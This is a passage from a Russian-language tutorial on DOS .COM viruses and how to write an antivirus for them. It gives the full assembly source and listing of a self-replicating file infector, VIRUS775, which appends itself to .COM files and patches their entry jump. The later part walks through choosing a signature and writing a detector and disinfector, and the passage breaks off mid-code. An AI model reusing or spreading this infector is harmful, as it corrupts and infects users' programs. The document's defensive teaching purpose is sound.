	mov	ah,42h
	int	21h		; Set seek to last byte of file
	jnc	READ_ID
	jmp	ERR

READ_ID:
	lea	dx,BYTES_3[3]
	mov	bx,HANDLE
	mov	cx,1
	mov	ah,3Fh
	int	21h		; Read last byte to BYTES_3[3] (ID='$')
	jnc	TEST_ID
	jmp	FIND_NEXT

TEST_ID:
	cmp	BYTES_3[3],'$'
	jne	NOT_INFECTED
	jmp	FIND_NEXT	; Check if file is infected

NOT_INFECTED:
 
	mov	ax,FLEN		; Calculate JMP address
	sub	ax,03h
	mov	JMP_L,al
	mov	JMP_H,ah	; Store new JMP address

	mov	cx,0
	mov	dx,FLEN
	mov	bx,HANDLE
	mov	ax,4200h	; Set seek to corrected end of file
	int	21h
	jc	ERR

	lea	dx,VIRUS
	mov	cx,VIRLEN
	mov	bx,HANDLE
	mov	ah,40h
	int	21h		; Write virus to file
	jc	ERR

WRITE_JMP:
	mov	cx,0
	mov	dx,0
	mov	bx,HANDLE
	mov	al,0		; Relative to file start
	mov	ah,42h
	int	21h		; Set seek to 0
	jc	ERR

	lea	dx,JMPVIR
	mov	cx,3
	mov	bx,HANDLE
	mov	ah,40h
	int	21h		; Write new JMP to file
	jc	ERR

PRINT_MSG:
	lea	dx,MSG
	mov	ah,09h
	int	21h		; Print a message

ERR:
 
	cmp	HANDLE,0FFFFh
	je	EXIT

CLOSE_FILE:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close  file

EXIT:
	cmp	cs:[ID],0FFFFh
	je	GOTO_DOS

RESTORE_DTA:
	mov	cx,100h
	mov	bx,0

DTA_R:
	mov	al,byte ptr DTA[bx]
	mov	byte ptr cs:[bx],al
	inc	bx
	loop	DTA_R

GOTO_START:
	mov	ax,cs
	mov	ds:[START_S],ax
	pop	ds
	db	0EAh		; Far jmp to START
	dw	0100h		; START offset
START_S	dw	(?)		; START segment

GOTO_DOS:
	mov	bx,4C00h
	int	21h
	
FMASK	db	'*.COM',0h
FNAME	db	12 dup (?),0h
FLENOLD	dw	(?)		; Length of file
FLEN	dw	(?)		; Corrected length of file
HANDLE	dw	0FFFFh		; File handle number
JMPVIR	db	0E9h		; JMP code
JMP_L	db	(?)
 
JMP_H	db	(?)		; 3 bytes for virus JMP
BYTES_3	db	3 dup (?)	; Original 3 bytes
	db	(?)
DTA	db	101h dup (?)
MSG	db	0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
VIRLEN	equ	$-VIRUS

CSEG	ends
	end START



Глава З. Пишем антивирус

Прежде чем начать работу по созданию антивирусной программы, необходимо сказать несколько слов о том, что для этого необходимо. Первым условием является наличие у разработчика антивирусной программы хотя бы одного экземпляра файла, зараженного тем вирусом, с которым разрабатываемая антивирусная программа будет бороться. Невозможно создать универсальную антивирусную программу-детектор, которая могла бы обнаруживать любые неизвестные вирусы. Исключение составляют резидентные программы-ревизоры, которые перехватывают прерывания DOS и BIOS, ответственные за обмен с диском, или программы, проверяющие длины и контрольные суммы файлов. Однако и эти программы не являются универсальными в полном смысле этого слова, т.к. существуют т.н. "интеллектуальные" вирусы, которые "обходят" системные прерывания и таким образом данный канал для обнаружения активности вируса становится неэффективным. Достаточно сложной проблемой является также обнаружение загрузочных и драйверных вирусов, поскольку первые не являются файловыми (и они всегда резидентны), а вторые, внедряясь в драйвер путем модификации его заголовка, имитируют работу драйвера таким образом, что становится трудно различить, какая часть работы драйвера (по обмену с диском) санкционирована пользователем или вызывающей драйвер программой, а какая - нет.

Поэтому наиболее эффективным способом обнаружения известных вирусов (в том числе и интеллектуальных) остается просмотр файлов с целью выявить в файле код внедрившегося вируса (или часть этого кода). Следовательно, как признали уже многие компьютерные вирусологи, важной частью систематической борьбы с вирусами является выделение характерных для различных вирусов последовательностей кодов - так называемых сигнатур. Эти сигнатуры должны отвечать двум основным требованиям:
  1. сигнатура должна быть устойчивой, т.е. не изменяться при заражении вирусом различных файлов;
  2. сигнатура должна быть достаточно уникальной, т.е. не должна встречаться в других вирусах и в других программах.
Соблюсти второе требование можно двумя способами:
  1. увеличивая длину сигнатуры и тем самым снижая вероятность появления сходной сигнатуры в других файлах;
  2. экспериментально проверяя отсутствие данной сигнатуры-кандидата в системных и прикладных программах.
Расчеты показывают, что при длине сигнатуры в 10 байт вероятность обнаружить данную сигнатуру на диске емкостью 100 Мб (т.е вероятность ложного срабатывания вирусного детектора равна приблизительно одной миллиардной). Разумеется, если в качестве сигнатуры взят участок кода, соответствующий какой-либо часто встречающейся конструкции языка программирования, эта вероятность резко возрастает. Поэтому экспериментальная проверка сигнатуры все же нужна.

3.1 Как искать сигнатуру вируса

Чтобы найти в теле вируса последовательность кодов, которую можно было использовать в качестве сигнатуры, прежде всего нужен сам вирус, т.е. его двоичный (исполняемый) код. Мы можем получить такой код очень просто: достаточно оттранслировать наш вирус при помощью имеющегося в Вашем распоряжении макроассемблера. При этом полезно "попросить" макроассемблер создать листинг нашего вируса, поскольку листинг содержит как ассемблерные команды, так и перемещаемый двоичный код (а именно он нам сейчас и нужен). Кроме того, листинг вируса содержит относительные смещения кодов команд в программе, по которым легко ориентироваться при расчете адресов данных и переходов в теле вируса, которые наш антивирус-фаг будет использовать в своей работе.

Итак...

3.2 Листинг программы VIRUS775.ASM

Microsoft (R) Macro Assembler Version 5.00                  6/24/91 21:21:14
  1					.8086
  2					PAGE      ,132
  3	;******************************************************
  4	; VIRUS775.ASM emulates virus activity for .COM files
  5	;******************************************************
  6 0000				CSEG	segment
  7					assume cs:cseg,ds:cseg,es:cseg
  8 0100				org 100h
  9 0100				START:
 10 0100  E9				db	0E9h
 
 11 0101  0015				dw	15h		; Near jump to
RESTORE_3_BYTES
 12 0103  FFFF			ID	dw	0FFFFh
 13				
 14 0110				org 110h
 15				
 16 0110			VIRUS:
 17 0110  1E				push	ds
 18 0111  8C C8				mov	ax,cs
 19 0113  05				db	00000101b	; Add ax,imed
 20 0114  FFFF			NEW_DS	dw	0FFFFh	; 0FFFFh should be
replaced
 21 0116  8E D8				mov	ds,ax	; Define new ds segment
 22				
 23 0118			RESTORE_3_BYTES:
 24 0118  A0 02DB R			mov	al,BYTES_3[0]	; Restore first 3
bytes
 25 011B  2E: A2 0100			mov	byte ptr cs:[100h],al
 26 011F  A0 02DC R			mov	al,BYTES_3[1]
 27 0122  2E: A2 0101			mov	byte ptr cs:[101h],al
 28 0126  A0 02DD R			mov	al,BYTES_3[2]
 29 0129  2E: A2 0102			mov	byte ptr cs:[102h],al
 30				
 31 012D			STORE_DTA:
 32 012D  B9 0100				mov	cx,100h
 33 0130  BB 0000				mov	bx,0
 34 0133			DTA_S:
 35 0133  2E: 8A 07			mov	al,byte ptr cs:[bx]
 36 0136  88 87 02DF R			mov	byte ptr DTA[bx],al
 37 013A  43				inc	bx
 38 013B  E2 F6				loop	DTA_S
 39				
 40 013D			FIND_FIRST:
 41 013D  8D 16 02BF R			lea	dx,FMASK
 42 0141  B9 0020				mov	cx,00100000b	;
arc,dir,vol,sys,hid,r/o
 43 0144  B4 4E				mov	ah,4Eh
 44 0146  CD 21				int	21h	; Find first .COM file
 45 0148  73 1A				jnc	STORE_FNAME
 46 014A  E9 0288 R			jmp	ERR
 47				
 48 014D			FIND_NEXT:
 49 014D  8B 1E 02D6 R			mov	bx,HANDLE
 50 0151  B4 3E				mov	ah,3Eh
 
 51 0153  CD 21				int	21h	; Close previous file
 52 0155  C7 06 02D6 R FFFF		mov	HANDLE,0FFFFh
 53				
 54 015B  B4 4F				mov	ah,4Fh
 55 015D  CD 21				int	21h
 56 015F  73 03				jnc	STORE_FNAME
 57 0161  E9 0288 R			jmp	ERR
 58				
 59 0164			STORE_FNAME:
 60 0164  2E: 80 3E 0095 01		cmp	byte ptr cs:[95h],00000001b
; Test r/o attribute
 61 016A  74 E1				je	FIND_NEXT	; if r/o is set,
do not infect
 62 016C  BB 0000			mov	bx,0
 63				
 64 016F			NEXT_SYM:
 65 016F  2E: 8A 87 009E		mov	al,byte ptr cs:[bx+9Eh]
 66 0174  88 87 02C5 R			mov	FNAME[bx],al
 67 0178  2E: 80 BF 009E 00		cmp	byte ptr cs:[bx+9Eh],0
 68 017E  74 09				je	SET_ATTRIB
 69 0180  43				inc	bx
 70 0181  83 FB 0D				cmp	bx,13
 71 0184  7E E9				jng	NEXT_SYM
 72 0186  E9 0288 R			jmp	ERR
 73				
 74 0189			SET_ATTRIB:
 75 0189  8D 16 02C5 R			lea	dx,FNAME
 76 018D  B9 0020			mov	cx,00100000b	;
arc,dir,vol,sys,hid,r/o
 77 0190  B8 4301			mov	ax,4301h
 78 0193  CD 21				int	21h	; Set file attributes
 79 0195  73 03				jnc	READ_HANDLE
 80 0197  E9 0288 R			jmp	ERR
 81				
 82 019A			READ_HANDLE:
 83 019A  8D 16 02C5 R			lea	dx,FNAME
 84 019E  B8 3D02			mov	ax,3D02h	; Read/write mode
 85 01A1  CD 21				int	21h		; Open a file
 86 01A3  73 03				jnc	READ_3_BYTES
 87 01A5  E9 0288 R			jmp	ERR
 88				
 89 01A8			READ_3_BYTES:
 
 90 01A8  A3 02D6 R			mov	HANDLE,ax  ; Store handle from ax
 91 01AB  8D 16 02DB R			lea	dx,BYTES_3
 92 01AF  8B 1E 02D6 R			mov	bx,HANDLE
 93 01B3  B9 0003			mov	cx,3	; Number of bytes to read
 94				
 95 01B6  B4 3F				mov	ah,3Fh
 96 01B8  CD 21				int	21h	; Read and store first
3 bytes
 97 01BA  73 03				jnc	READ_FLEN
 98 01BC  E9 0288 R			jmp	ERR
 99				
100 01BF			READ_FLEN:
101 01BF  B9 0000			mov	cx,0
102 01C2  BA 0000			mov	dx,0	; NULL seek position in
cx:dx
103 01C5  8B 1E 02D6 R			mov	bx,HANDLE
104 01C9  B0 02				mov	al,2	; Relative to EOF
105 01CB  B4 42				mov	ah,42h	; Get program length in
dx:ax
106 01CD  CD 21				int	21h
107 01CF  73 03				jnc	CHECK_ID
108 01D1  E9 0288 R			jmp	ERR
109				
110 01D4			CHECK_ID:
111 01D4  A3 02D2 R			mov	FLENOLD,ax ; Store length of file
112				
113 01D7  A9 000F			test	ax,00001111b
114 01DA  74 04				jz	JUST
115 01DC  0D 000F			or	ax,00001111b
116 01DF  40				inc	ax
117				
118 01E0			JUST:
119 01E0  A3 02D4 R			mov	FLEN,ax		; Store corrected
length of file
120				
121 01E3  3D FBF4			cmp	ax,64500
122 01E6  76 03				jna	CALC_DS
123 01E8  E9 014D R			jmp	FIND_NEXT
124				
125 01EB			CALC_DS:
126 01EB  B1 04				mov	cl,4
 
127 01ED  D3 E8				shr	ax,cl		; Calculate new
ds segment difference
128 01EF  48				dec	ax
129 01F0  A2 0114 R			mov	byte ptr NEW_DS[0],al
130 01F3  88 26 0115 R			mov	byte ptr NEW_DS[1],ah
; Store new ds segment
131				
132 01F7  B9 0000			mov	cx,0
133 01FA  8B 16 02D2 R			mov	dx,FLENOLD
134 01FE  4A				dec	dx
135 01FF  8B 1E 02D6 R			mov	bx,HANDLE
136 0203  B0 00				mov	al,0	; Relative to EOF
137 0205  B4 42				mov	ah,42h
138 0207  CD 21				int	21h	; Set seek to last byte
of file
139 0209  73 03				jnc	READ_ID
140 020B  EB 7B 90			jmp	ERR
141				
142 020E			READ_ID:
143 020E  8D 16 02DE R			lea	dx,BYTES_3[3]
144 0212  8B 1E 02D6 R			mov	bx,HANDLE
145 0216  B9 0001			mov	cx,1
146 0219  B4 3F				mov	ah,3Fh
147 021B  CD 21				int	21h	; Read last byte
to BYTES_3[3] (ID='$')
148 021D  73 03				jnc	TEST_ID
149 021F  E9 014D R			jmp	FIND_NEXT
150				
151 0222			TEST_ID:
152 0222  80 3E 02DE R 24		cmp	BYTES_3[3],'$'
153 0227  75 03				jne	NOT_INFECTED
154 0229  E9 014D R			jmp	FIND_NEXT	; Check if file
is infected
155				
156 022C			NOT_INFECTED:
157 022C  A1 02D4 R			mov	ax,FLEN	; Calculate JMP address
158 022F  2D 0003			sub	ax,03h
159 0232  A2 02D9 R			mov	JMP_L,al
160 0235  88 26 02DA R			mov	JMP_H,ah ; Store new JMP address
161				
162 0239  B9 0000			mov	cx,0
163 023C  8B 16 02D4 R			mov	dx,FLEN
164 0240  8B 1E 02D6 R			mov	bx,HANDLE
 
165 0244  B8 4200			mov	ax,4200h	; Set seek to
corrected end of file
166 0247  CD 21				int	21h
167 0249  72 3D				jc	ERR
168				
169 024B  8D 16 0110 R			lea	dx,VIRUS
170 024F  B9 02F7 90			mov	cx,VIRLEN
171 0253  8B 1E 02D6 R			mov	bx,HANDLE
172 0257  B4 40				mov	ah,40h
173 0259  CD 21				int	21h	; Write virus to file
174 025B  72 2B				jc	ERR
175				
176 025D			WRITE_JMP:
177 025D  B9 0000			mov	cx,0
178 0260  BA 0000			mov	dx,0
179 0263  8B 1E 02D6 R			mov	bx,HANDLE
180 0267  B0 00				mov	al,0	; Relative to file start
181 0269  B4 42				mov	ah,42h
182 026B  CD 21				int	21h	; Set seek to 0
183 026D  72 19				jc	ERR
184				
185 026F  8D 16 02D8 R			lea	dx,JMPVIR
186 0273  B9 0003			mov	cx,3
187 0276  8B 1E 02D6 R			mov	bx,HANDLE
188 027A  B4 40				mov	ah,40h
189 027C  CD 21				int	21h	; Write new JMP to file
190 027E  72 08				jc	ERR
191				
192 0280			PRINT_MSG:
193 0280  8D 16 03E0 R			lea	dx,MSG
194 0284  B4 09				mov	ah,09h
195 0286  CD 21				int	21h	; Print a message
196				
197 0288			ERR:
198 0288  83 3E 02D6 R FF		cmp	HANDLE,0FFFFh
199 028D  74 08				je	EXIT
200				
201 028F			CLOSE_FILE:
202 028F  8B 1E 02D6 R			mov	bx,HANDLE
203 0293  B4 3E				mov	ah,3Eh
204 0295  CD 21				int	21h		; Close  file
205				
 
206 0297			EXIT:
207 0297  2E: 83 3E 0103 R FF		cmp	cs:[ID],0FFFFh
208 029D  74 1B				je	GOTO_DOS
209				
210 029F			RESTORE_DTA:
211 029F  B9 0100			mov	cx,100h
212 02A2  BB 0000			mov	bx,0
213				
214 02A5			DTA_R:
215 02A5  8A 87 02DF R			mov	al,byte ptr DTA[bx]
216 02A9  2E: 88 07			mov	byte ptr cs:[bx],al
217 02AC  43				inc	bx
218 02AD  E2 F6				loop	DTA_R
219				
220 02AF			GOTO_START:
221 02AF  8C C8				mov	ax,cs
222 02B1  A3 02B8 R			mov	ds:[START_S],ax
223 02B4  1F				pop	ds
224 02B5  EA				db	0EAh	; Far jmp to START
225 02B6  0100				dw	0100h	; START offset
226 02B8  0000			START_S	dw	(?)	; START segment
227				
228 02BA			GOTO_DOS:
229 02BA  BB 4C00			mov	bx,4C00h
230 02BD  CD 21				int	21h
231					
232 02BF  2A 2E 43 4F 4D 00	FMASK	db	'*.COM',0h
233 02C5  000C[			FNAME	db	12 dup (?),0h
234	   ??			
235			 ]	
236       00			
237 02D2  0000			FLENOLD	dw	(?)	; Length of file
238 02D4  0000			FLEN	dw	(?)	; Corrected length of file
239 02D6  FFFF			HANDLE	dw	0FFFFh	; File handle number
240 02D8  E9			JMPVIR	db	0E9h	; JMP code
241 02D9  00			JMP_L	db	(?)
242 02DA  00			JMP_H	db	(?)	; 3 bytes for virus JMP
243 02DB  0003[			BYTES_3	db	3 dup (?) ; Original 3 bytes
 
244	   ??			
245			 ]	
246				
247 02DE  00				db	(?)
248 02DF  0101[			DTA	db	101h dup (?)
249	   ??			
250			 ]	
251				
252 03E0  0A 0D 48 61 6C 6C 6F	MSG	db	0Ah,0Dh,'Hallo! I have got
a virus for you!',0Ah,0Dh,'$'
253       21 20 49 20 68 61 76
254       65 20 67 6F 74 20 61
255       20 76 69 72 75 73 20
256       66 6F 72 20 79 6F 75
257       21 0A 0D 24
258 = 02F7			VIRLEN	equ	$-VIRUS
259				
260 0407				CSEG	ends
261					end START


3.3 Подбираем сигнатуру

В принципе при выборе сигнатуры существует большая свобода, ограниченна лишь перечисленными выше условиями. Нас заинтересовали в листинге вируса строки с номерами 149-154.

149 021F  E9 014D R			jmp	FIND_NEXT
150				
151 0222			TEST_ID:
152 0222  80 3E 02DE R 24		cmp	BYTES_3[3],'$'
153 0227  75 03				jne	NOT_INFECTED
154 0229  E9 014D R			jmp	FIND_NEXT	;
Check if file is infected


Если развернуть эти строки листинга в цепочку кодов, то получится следующая последовательность шестнадцатеричных чисел:

Е9 21 FF 80 3E DE 02 24 75 03 Е9 21 FF

Правда, в листинге Вы не найдете двух повторяющихся пар чисел 21 FF, следующих за кодом команды короткого перехода E9. Однако эти числа легко получить одним из двух изложенных ниже способов.
  1. Учитывая, что код команды JMP <адрес> включает в себя слово, обозначающее адрес внутрисегментного переходе, и зная адрес метки FIND_NEXT равный 222 (в десятичной системе счисления) или 014D (в шестнадцатеричной системе счисления), можно рассчитать, что это слово должно представлять собой как раз шестнадцатеричное число FF21 (а поскольку младшая часть адреса записывается раньше старшей, то мы и получаем последовательность 21 FF).
  2. Достаточно просмотреть код оттранслированной программы-вируса с помощью любого отладчика, чтобы убедиться, что именно эта последовательность кодов присутствует в теле вируса в указанном нами месте.
Мы решили в качестве сигнатуры воспользоваться лишь последними одиннадцатью байтами, а именно строкой:

FF 80 3E DE 02 24 75 03 Е9 21 FF

Длина этой строки вполне достаточна, чтобы ее можно было использовать в качестве сигнатуры нашего вируса, а ее уникальность мы дополнительно проверим, когда наш антивирус будет готов.

3.4 Что должен делать антивирус

Основные принципы действия файлового антивируса были изложены в главе 1. Мы лишь напомним, что наш антивирус должен:
  1. просматривать .COM-файлы в текущем каталоге, находить файлы, содержащие сигнатуру нашего вируса и выводить на экран сообщение о том, какие файлы заражены вирусом и сколько всего файлов заражено;
  2. по указанию пользователя антивирус должен осуществлять "лечение" (т.е. восстановление) зараженных файлов в текущем каталоге согласно алгоритму, изложенному в главе 1.
Наша задача упрощается двумя обстоятельствами. Первое, наш антивирус, как и вирус, учебный. Поэтому нам не нужно осуществлять громоздкий алгоритм поиска зараженных файлов по всему диску (желающие могут внести это усовершенствование самостоятельно). И второе, наш вирус хранит в своей области данных первоначальную длину программы-жертвы до ее заражения. Поэтому мы имеем возможность восстанавливать зараженную программу в идеальных условиях - т.е. один к одному!

3.5 Область данных антивируса

Область данных нашей антивирусной программы (детектора и фага) будет сильно напоминать область данных вируса, поскольку мы воспользуемся многими из готовых алгоритмов, использованными при создании вируса (например, блоками доступа к файлам). Кроме того, мы будем использовать многие из тех данных, которые использует в своей работе вирус, а для наглядности сохраним по возможности и названия меток.

MODE	db	0	; 0 - find, 1 - find & cure
FILES	db	0	; Number of infected files
SIG	db	0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h
	db	0	; Virus signature (last byte)
SIGL	equ	$-SIG	; Length of SIG string
SIGO	dw	(?)	; Offset of SIG in file
SIGO3	dw	0BAh	; Offset of old 3 bytes relative to SIG
SIGFL	dw	0B1h	; Offset of old file length relative to SIG
FMASK	db	'*.COM',0h	; File name mask
FLEN	dw	(?)	; Current length af tested file
FLENOLD	dw	(?)	; Old length of file to be cured
HANDLE	dw	0FFFFh	; File handle number
ATTRIB	db	(?)	; File attribute
FSEG	dw	(?)	; Segment to store file
LBL	db	'$'	; Security label
CSEG	ends
	end START


Хорошим тоном (и безопасным методом) считается использование по умолчанию алгоритма поиска зараженных файлов, который осуществляется при запуске антивируса без параметров. Это предохраняет пользователя от непреднамеренной "обработки" антивирусом тех файлов, для которых еще не созданы запасные копии на случай неудачного лечения или ложного срабатывания детектора при поиске сигнатуры.

Поэтому наш антивирус должен работать в двух режимах: поиск и выявление файлов, содержащих сигнатуру вируса (по умолчанию) и "лечение" зараженных файлов (при запуске антивируса, например, с параметром "/q" (от слова qure - лечить). Для распознаиания режима мы введем переменную по имени MODE:

MODE	db	0	; 0 - find, 1 - find & cure


Поскольку наш антивирус ведет подсчет зараженным файлам, нам необходимо также отвести переменную, которую он будет использовать в качестве счетчика. Назовем ее FILES:

FILES	db	0	; Number of infected files


Очевидно, что наш антивирус должен также как-то хранить и сигнатуру вируса для того, чтобы было с чем сравнивать коды просматриваемых файлов. Однако, для того, чтобы наш антивирус не "сработал" сам от себя, мы просто-напросто заменим последний байт сигнатуры (FF) на ноль (00):

SIG	db	0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h
	db	0	; Virus signature (last byte)


Восстанавливать же этот последний байт мы будем в памяти сразу же после запуска антивируса.

Для использования в качестве граничной переменной в счетчиках цикла нам понадобится длина сигнатуры (в байтах). Для того, чтобы не изменять общности, сформируем это число в виде разности начального и конечного адреса сигнатуры плюс единица:

SIGL	equ	$-SIG	; Length of SIG string


Сразу же отметим, что эта величина является константой для данной программы и не занимает места области данных.

Заранее никогда неизвестно, где в зараженном файле расположена сигнатура вируса, а также все остальные данные: сохраненные три байта, длина программы-жертвы и т.п. Даже вести счет от "хвоста" файла мы не имеем права, т.к. за нашим вирусом может "сесть" другой вирус. Поэтому мы должны ввести точку отсчета, относительно которой антивирус будет рассчитывать адреса всех остальных частей вируса. В качестве такой точки отсчета выберем первый байт сигнатуры, а для привязки к этой точке отсчета нам необходимо хранить смещения всех необходимых нам данных (вируса) относительно смещения первого байта сигнатуры. Кроме того, мы должны предусмотреть место для хранения смещения первого байта сигнатуры в зараженном файле, чтобы использовать это смещение в качестве точки отсчета.

SIGO	dw	(?)	; Offset of SIG in file
SIGO3	dw	0BAh	; Offset of old 3 bytes relative to SIG
SIGFL	dw	0B1h	; Offset of old file length relative to SIG


Таким образом, выделим в области данных антивируса следующие три слова: SIGO - адрес (смещение) первого байта сигнатуры в зараженном файле; SIGO3 - смещение первого из трех сохраненных (первых) байт зараженного файла относительно адреса первого байта сигнатуры; SIGFL - смещение слова, в котором хранится прежняя длина зараженного файла, относительно адреса первого байта сигнатуры.

FMASK	db	'*.COM',0h	; File name mask


FMASK - имеет тот же смысл, что и в программе вируса: маска имен файлов (т.е. шаблон поиска). Для проверки файлов с любыми расширениям достаточно заменить в маске расширение "COM" на звездочку: "*".

FLEN	dw	(?)	; Current length af tested file


FLEN - текущая длина тестируемого файла. Эта величина необходима антивирусу при выборе алгоритма считывания файла.

FLENOLD	dw	(?)	; Old length of file to be cured


FLENOLD - Прежняя длина зараженного файла. Эту величину антивирус извлечет, пользуясь набором смещений, описанных в предыдущих абзацах.

HANDLE	dw	0FFFFh	; File handle number


HANDLE - логический номер (handle) файла. С этой величиной мы уже знакомы из опыта написания вируса.

ATTRIB	db	(?)	; File attribute


ATTRIB - здесь антивирус может хранить исходный байт атрибутов файла для того, чтобы после лечения (или просмотра) восстанавливать этот атрибут.

FSEG	dw	(?)	; Segment to store file


FSEG - сегментный адрес области, которую антивирус запрашивает у DOS для хранения тестируемого файла.

LBL	db	'$'	; Security label


И, наконец, последний байт - код "$" (доллар), метка LBL - наглядная иллюстрация того, как программа-антивирус может защитить сама себя от вируса методом вакцинации. Этот прием мы обсуждали в главе 2 при рассмотрении того, как наш вирус избегает повторного заражения программ.

3.6 Антивирус начинает работу

Как мы условились ранее, сразу же после запуска наш антивирус формирует в памяти сигнатуру вируса, для которой ему не хватает одного последнего байта.

START:
	mov	SIG[10],0FFh		; Completes SIG string


Затем антивирус "выясняет", в каком из двух возможных режимов - поиска вируса или "лечения" зараженных файлов - он должен работать. Мы решили, что по умолчанию антивирус лишь ищет зараженные файлы. Если же в командной строке появляется параметр /q или просто буква q, антивирус переходит в режим "лечения".

3.7 Читаем командную строку

Перед передачей управления запускаемой программе, DOS формирует PSP (Program Segment Prefix) по нулевому смещению в памяти ЭВМ. PSP занимает 100h байт и включает в себя DTA (Data Transfer Area). Структура DTA хорошо известна, в частности, по смещению 80h располагается длина области UPA (Unformatted Parameter Area), в которой начиная со смещения 81h хранятся параметры командной строки (исключая директивы переназначения). Если длина UPA нулевая (т.е. байт по адресу 80h равен нулю), значит, командная строка - пустая, и следовательно, антивирус сохраняет режим по умолчанию (поиск сигнатуры). Если же этот байт ненулевой, необходимо проверить, не содержится ли среди параметров буква q.

READ_PARAM:
	cmp	byte ptr cs:[80h],0
	je	FIND_MODE	; If no parameters, "find" mode
	mov	ax,ds
	mov	es,ax
	cld
	mov	al,'q'	; 'q' - "find & cure mode" (MODE=1)
	mov	ch,0
	mov	cl,cs:[80h]	; Length of UPA (from PSP)
	mov	di,81h		; Offset  of UPA (from PSP)
	repne	scasb
	je	CURE_MODE

FIND_MODE:
	mov	MODE,0
	jmp	ALLOC_MEM

CURE_MODE:
	mov	MODE,1


Если буква 'q' найдена, то по адресу MODE заносится число 1 (режим "лечения"), в противном случае там хранится ноль, обозначающий режим по умолчанию (только поиск).

3.8 Заказываем память

При запуске .COM-программы DOS выделяет ей всю доступную память, поэтому, грамотно написанная .COM-программа (особенно резидентная) должна уменьшить количество выделенной ей памяти до необходимого объема. Кроме того, если .COM-программа использует несколько сегментов памяти, она должна знать адреса свободных сегментов, чтобы не нарушить блочную структуру памяти.

ALLOC_MEM:
	mov	ax,ds
	mov	es,ax
	mov	bx,1100h	; Reallocate 68 К bytes
	mov	ah,4Ah
	int	21h
	jnc	ALLOCATED

NOT_ALLOCATED:
	lea	dx,NO_MEM
	mov	ah,09h
	int	21h		; Print  a message
	jmp	TO_DOS
NO_MEM	db	10,13,'Insufficient memory to run ANTI775',10,13,'$'

ALLOCATED:
	lea	ax,LBL
	mov	cl,4
	shr	ax,cl
	inc	ax
	mov	bx,ds
 
	add	ax,bx
	mov	FSEG,ax		; Segment of program in memory


Поскольку наш вирус не заражает программы, длина которых больше 64 К байт, мы должны выделить соответствующее количество памяти. Пусть это будет, например, 68 К байт. В случае, если вызванная функция DOS (4A) возвратит ошибку (флаг переноса CF взведен), наш антивирус выдаст сообщение о недостаточном объеме свободной памяти и завершит работу. В выделенную память антивирус будет считывать тестируемую программу (или ее часть - первые 64 К байт).

Мы будем проверять на наличие вируса даже большие (длиннее 64 К байт) программы, хотя вирус следит за тем, чтобы длина зараженной программы не превышала этой величины. Тем не менее, есть вирусы, которые этого не делают, и тогда .COM-программа может разрастись до размеров, превышающих размер сегмента (64 К байт). Мы предусмотрим случай, когда за нашим вирусом может "сесть" один или несколько других, в том числе и таких, которые "убивают" .COM-программу тем, что ее новая длина (вместе с вирусом) превышает 64 К байт. Наш антивирус будет "лечить" и такие программы! Он будет вместе с нашим вирусом "выкусывать" и те вирусы, которые "сели" после него. Конечно, наш антивирус не сможет лечить от вирусов, "севших" раньше него, но и то, что он сможет - большой плюс.

Кстати, данный принцип ("выкусывание" вирусов, находящихся после данного вируса) сможет применяться и для интеллектуальной вакцинации, т.е. для создания "самовылечивающихся" или самотестирующихся программ. В этом случае программу "заражают" не вирусом, а программой-вакциной, которая выполняет функции антивируса и "выкусывает" любые вирусы, пристраивающиеся к ней в "хвост"...

После этого лирического отступлении напомним, что сегментный адрес выделенной области памяти мы сохранили в слове по адресу FSEG.

3.9 Ищем зараженные файлы.

Алгоритм поиска файлов, соответствующих шаблону подробно описан во второй главе, и мы лишь обратим Ваше внимание на то, что антивирус, в отличие от нашего вируса, просматривает все .COM-файлы в текущем каталоге, включая файлы с атрибутами read-only, hidden и system.

Следующий блок программы-антивируса выполняет такие действия: находит .COM-файл, соответствующий шаблону, обрабатывает и сохраняет его имя, устанавливает атрибуты, открывает файл в режиме чтения-записи, считывает и сохраняет логический номер файла (handle).

FIND_FIRST:
	lea	dx,FMASK	; Mask of file name
	mov	cx,00100111b	; arc,dir,voL,sys,hid,r/o
	mov	ah,4Eh
	int	21h
	jnc	STORE_FNAME
	jmp	EXIT

FIND_NEXT:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close previous file
	mov	HANDLE,0FFFFh	; Note that file was closed

	mov	ah,4Fh
	int	21h		; Find next file
	jnc	STORE_FNAME
	jmp	EXIT
 
STORE_FNAME:
	mov	bx,0

NEXT_SYM:
	mov	al,byte ptr cs:[bx+9Eh]
	mov	FNAME[bx],al
	cmp	byte ptr cs:[bx+9Eh],0
	je	SET_ATTRIB
	inc	bx
	cmp	bx,13
	jng	NEXT_SYM
	jmp	ERR

SET_ATTRIB:
	lea	dx,FNAME
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ax,4301h
	int	21h		; Set file attributes
	jnc	READ_HANDLE
	jmp	ERR

READ_HANDLE:
	lea	dx,FNAME
	mov	ax,3D02h	; Read/wite mode
	int	21h		; Open a file (handle is in ax)
	jnc	READ_FLEN
	jmp	ERR


Наш антивирус (поскольку он учебный) в целях экономии Вашего времени не делает некоторых вещей, которые стандартные антивирусы делают. Например, он перед закрытием файла не восстанавливает его атрибуты. Однако Вы сами легко можете дописать несколько команд, которые будут выполнять эту, в общем-то важную, функцию (в нашем антивирусе даже выделен для этой цели в области данных байт с именем ATTRIB).

3.10 Длинные и короткие файлы

Обычно длинные файлы считывают и просматривают по частям. Однако, поскольку мы не собираемся считывать более 64 К байт даже самого длинного файла, будем считывать файлы в память целиком (для упрощения алгоритма и ускорения процедуры поиска сигнатуры вируса). Тем не менее, покажем, как можно считывать длинный файл, например, в два приема по 32 К байт. Сначала выясним длину тестируемого файла.

READ_FLEN:
	mov	HANDLE,ax	; Store handle number
	mov	cx,0
	mov	dx,0		; NULL seek position in cx:dx
	mov	bx,HANDLE
	mov	ax,4202h	; Get program length in dx:ax
	int	21h
	mov	FLEN,ax
	cmp	dx,0
	je	SET_FSTART
	mov	FLEN,0FFFEh


Если длина файла превышает 64 К байт, занесем по адресу FLEN число 0FFFFh, которое отражает тот факт, что мы не собираемся считывать файл длиннее 0FFFFh байт. Далее, если длина файла не превышает 32 К байт, считаем его в один прием, а если превышает - то в два.

SET_FSTART:
	mov	bx,HANDLE
	mov	cx,0
	mov	dx,0
	mov	ax,4200h
	int	21h		; Set seek pointer to start of file
 
READ_FILE:
